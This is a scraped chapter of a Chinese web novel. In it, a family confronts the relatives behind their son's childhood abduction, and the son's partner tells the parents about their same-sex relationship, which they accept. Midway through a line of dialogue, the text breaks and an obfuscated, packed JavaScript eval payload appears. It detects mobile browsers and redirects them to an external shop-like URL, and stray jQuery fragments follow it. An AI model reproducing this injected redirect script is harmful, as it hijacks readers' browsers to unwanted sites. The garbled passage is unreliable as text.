38.我们两情相悦

作品:《阴郁小猫拒绝靠近

    判决书正式下来时,戚危阑正蹲在小区里面喂小猫。


    正是那只通体漆黑,爪子雪白的“红娘”小猫。


    手下感受着猫咪柔软毛发的触感,戚危阑盯着判决书的信息内容发呆。


    调查结果出来后不久,戚家父母在识人不清的巨大悲痛中选择了诉讼,将涉事所有人员都告上法庭,要求从严惩治。


    他们没想到当年简单的一场托付,竟造成十多年来,骨肉分别的悲剧。


    戚宏达和刘蔓知晓事情败露,第一时间就买机票想逃到国外,还没到机场就被江淮寒的人拦了下来,只能灰溜溜的到戚家老宅乞求原谅。


    两人神情憔悴,再也没有往日一分高高在上咄咄逼人的模样,从前被打理得一丝不苟的头发凌乱不堪,活像刚刚从天桥上下来的两个乞丐,在来之前恐怕吃了不少别的苦。


    正好是掐着戚危阑回老宅的时间过来,可在眼神触及到戚危阑的身影时,抑制不住变得阴狠恶毒。


    “叔叔婶婶当时被蒙了心。……是我们的错!我们对不起你!但是再怎么说,我们都是亲戚,有血缘关系的亲人啊,你总不能眼睁睁看着你叔叔婶婶坐大牢去。况且你小时候,叔叔婶婶对你也不差的,你还记得吗?那段时间我俩多照顾你啊。”


    戚危阑神情冷淡,都不愿意分给他们俩一个眼神,只是带着嘲讽的反驳:“对我好,就是逼我吃过敏的菜;对我好,就是放任你们儿子欺负我,在幼儿园挑唆他人辱骂孤立我;对我好,就是把我丢在幼儿园不管不问,发现我被拐后,大喜过望,如同摆脱了一个废物,把钱交到别人手里,巴不得我过得更惨一些。”


    他每说一句话,两人的脸色更煞白一分。


    戚宏达嗫嚅道:“当时叔叔心情不好,把气撒在你身上,但是我也没想过会这么严重,你可是我亲侄子啊,怎么会想……真的害了你呢……”


    这段理不识气不壮的辩解,不知是说给谁听的,说给他自己听作为心理安慰的可能性更大一些。


    戚家父母在得知消息后,气的被当场送进医院,在病房待了好几天,还没有平复下来。如今见到罪魁祸首是自己的亲弟弟,既恨得咬牙切齿,又情绪复杂。


    他们冷眼看待这场面,像是将两人当做散发恶臭的垃圾一般。


    戚宏达见道德绑架不成,心中涌起难言的愤懑,抬起头直视着戚父,脸红脖子粗的大声嚷嚷道:“都是怪你!根本不是我害的你儿子,是你自己害的你儿子。呵,谁让你非要抢走属于我的一切。那我也不得不让你尝尝痛失爱子的滋味,更不能让你儿子抢走我儿子的一切!这偌大的家产,就应该是属于我儿子的!”


    还没等戚正泓对这番厚颜无耻的话做出任何回应,林芝女士先一步冲上前狠狠给了戚宏达一个巴掌。


    尖利的美甲在在那张丑恶嘴脸上划出血痕,惨不忍睹。


    林芝与戚正鸿年少相识,在成为温柔知性的戚太太之前,她也以一中校霸的凶悍而闻名,扇巴掌扇的干净利落。


    刚和戚正鸿在一起时,她就看不惯这个便宜弟弟得寸进尺,蹬鼻子上脸,一惯喜欢得了便宜还卖乖,对父母装乖讨好,对他哥又是另一副嘴脸。


    明明是他自己不成器,不堪重用,却将一切归咎于他兄长的原因,认为戚正鸿抢了他作为继承人之一的利益,那份怨恨藏也藏不住。


    偏偏自己爱人是一位有责任又宽容的兄长,从不计较亲弟弟对自己的误解和没理由说埋怨,只当是少年人自尊心强,又好胜的产物,将他的攻击当做不痛不痒的存在,愈发增长他阴毒自私的想法。


    林芝眼眶泛红,含着泪,手里教训人的动作不停,用了十足十的劲,发泄着自己多年以来的愤怒。


    “这一巴掌,是为你以小人之心揣测你的亲哥哥,看不到他为整个家族的付出。作为继承人的重担,你爹妈不舍得让你担上,让你好逸恶劳,不珍惜拥有的,却还眼红没有得到的。”


    “这一巴掌是为了我儿子,你害得我们母子骨肉分离多年,害得他在外吃苦受罪。你根本没把他当做亲人对待,只是满足你私心的工具,枉为一个孩子的长辈,人面兽心。”


    “这一巴掌是我欠你很久的,我早就该在几十年前就教育你,不至于你犯下大错,一身罪孽,品行不端,如同阴沟里面的臭老鼠。你真该下地狱,因为你根本不配为人,让地狱里的恶鬼好好教你做人。”


    戚危阑拧起了眉,伸手拽了拽林芝的外套衣角,一如小时候那般。


    不该为了这样的人,让妈妈气坏了身体,打的手痛。


    林芝霎时间僵住了,忍了许久的泪水在此刻决堤,簌簌的掉落下来。


    “对不起……对不起,是妈妈没有保护好你,没有保护好我的懒懒。”


    沉默了许久的戚正鸿放任妻子发泄自己的情绪,在此刻终于有了动作,走到鼻青脸肿的弟弟面前。


    狠狠一拳打到面中,鲜血四溅。


    “戚宏达,我与你已经没有什么好说的,你配不上我爸妈为你取的这个名字,你也不配做我的家人。这一拳,不是我送给你最后的东西,我会送你去吃牢狱之苦。为你的所作所为赎罪。”


    听完这话,戚宏达高高昂起的头颅终于低了下去,如坠冰窟,他知道事情已经没有任何可以挽回的余地。一旁的刘蔓从一开始就一声不吭,看见自己丈夫被打也没有丝毫反,恨不得把自己藏在地底下。


    这一家的凶残,从上一次和那小兔崽子吃饭时就看出来。可身边这个猪头愣是脸大,舔着个脸,觉得他哥还能够原谅他的一切行为,拉着自己过来假模假样的道歉,除了讨到一顿打以外,没得到任何好处。


    最终两人落荒而逃,不敢在这多待一秒。


    林芝瞪着他们离开后,身体泄了劲,忽的要软倒在地,被戚危阑稳稳扶住。


    抓着孩子清瘦的手臂,林芝脸上淌着泪,嘴唇微动,眼神悲伤,可说不出话来,只会一个劲的重复对不起。


    “对不起,不该为了工作把你放在家里,留给他们照顾……是我亲手弄丢了你啊!”


    身为父亲的戚正鸿也心如刀绞,看着妻儿眼角湿润,展开双臂,以守护者的姿势将他们抱在怀中。


    “我们一家人再也不会分开了。”


    前不久,江淮寒曾独自来过戚家一趟,见了戚父戚母。


    江淮寒接过待客的茶水,轻抿一口,姿态谦卑,面对长辈谦谦有礼:“叔叔阿姨,我这次来是为了懒懒……我说了这么多,只是希望,您们可以在情感表达上大方一些,就像这些年从没分别过,将他捧在手心里,小心翼翼,不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17270780|193989||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    敢靠近,反而会伤了他心。”


    “我希望,你们作为一家人,没有一丝隔阂,他可以有一个完全幸福美满的家庭。这是他本应该有的。”


    两人认真听着江淮寒的话,这个优秀的后辈在事业上风生水起,必定是个人能力出众,一长串话徐徐不急,语调平和,却又让人能听进去每一句话。


    中途表情从微笑变成严肃,最后他们相视一眼,还是戚母先开了口:“小江啊,你是怎么想到和我们说这些的,阿姨的意思是……”


    “我是他的爱人。”


    这句话掷地有声,也在戚家父母心里掀起巨浪。


    “你们……怎么能在一起呢……”


    同性爱人之间要面对许多,作为父母,他们从未设想过自己的孩子会踏上这条路。


    “我们是两情相悦,为何不能?”


    江淮寒淡定的又抿了一口茶水,说出的话平静而坚定,只有他知道,自己的手心在微微渗汗。


    他希望自己和戚危阑的爱情,能得到来自家长的祝福。


    想到这段时间江淮寒的悉心照顾,以及戚危阑逐渐好转的现象,两人把口里的话咽了回去,打了个转。


    “你们两个孩子,谈恋爱也不告诉爸妈一声,在一起多久了?相处的怎么样?有没有结婚的打算?设计婚礼了吗?置办婚房婚车了吗?出去蜜月的地方定了吗?”


    那架势,恨不得直接安排到两人白头偕老的那一天。


    江淮寒微不可察的松了一口气,往上推了推自己的金丝眼镜,笑着回道:“我还没有和他求婚,这些事情慢慢来。”


    戚父戚母拍拍彼此相握的手:“慢慢来好啊,我们没有什么要求,也不会干涉你们什么,只有一点,我希望你们能答应我。”


    “您说,是什么?”


    “你们这一生都要幸福。”


    听完爸妈的转述,戚危阑的心怦怦的跳,爱意在心里生根发芽,生成藤蔓疯长死死缠绕住整颗心脏,那颗心酸软发涨。


    戚母的眼睛笑成了一尾小鱼,伸出手轻抚着已经长大成人的孩子头顶:“我还当你是个小孩呢,一转眼你也找到了相伴一生的伴侣。妈妈缺席你的人生太久,我只想在以后的日子里,用尽一切去爱你支持你,长长久久的看着你,快乐,平安,幸福。”


    戚危阑沉默片刻,没有言语。


    忽然,他伸开双臂,抱住了这名赋予他生命,带他来到这个世界,只一声“妈妈”,就用一生将爱倾注于他的女性。


    说出口的话本应艰涩无比,又格外顺畅。


    “妈妈,我爱你。”


    一句记忆里的童声也响起。


    “妈妈!懒懒最最最爱你了!你是全世界最好的妈妈!”


    两句话在不同的时空重叠,林芝的手止不住的轻颤,温柔又用力的回抱住自己的宝贝。


    自己的宝贝从小就爱着自己,不需要任何条件,绝对的纯粹的毫无保留的爱着自己。可她居然忘记了,不明白这个再简单不过的道理,还需要另一个孩子来点醒。


    她根本不用在相处中如履薄冰,畏手畏脚,只需要遵从一个母亲的本能,去大胆拥抱她的孩子。


    只是孩子啊,你永远是妈妈的心事。


    妈妈只是,爱得不知所措了而已。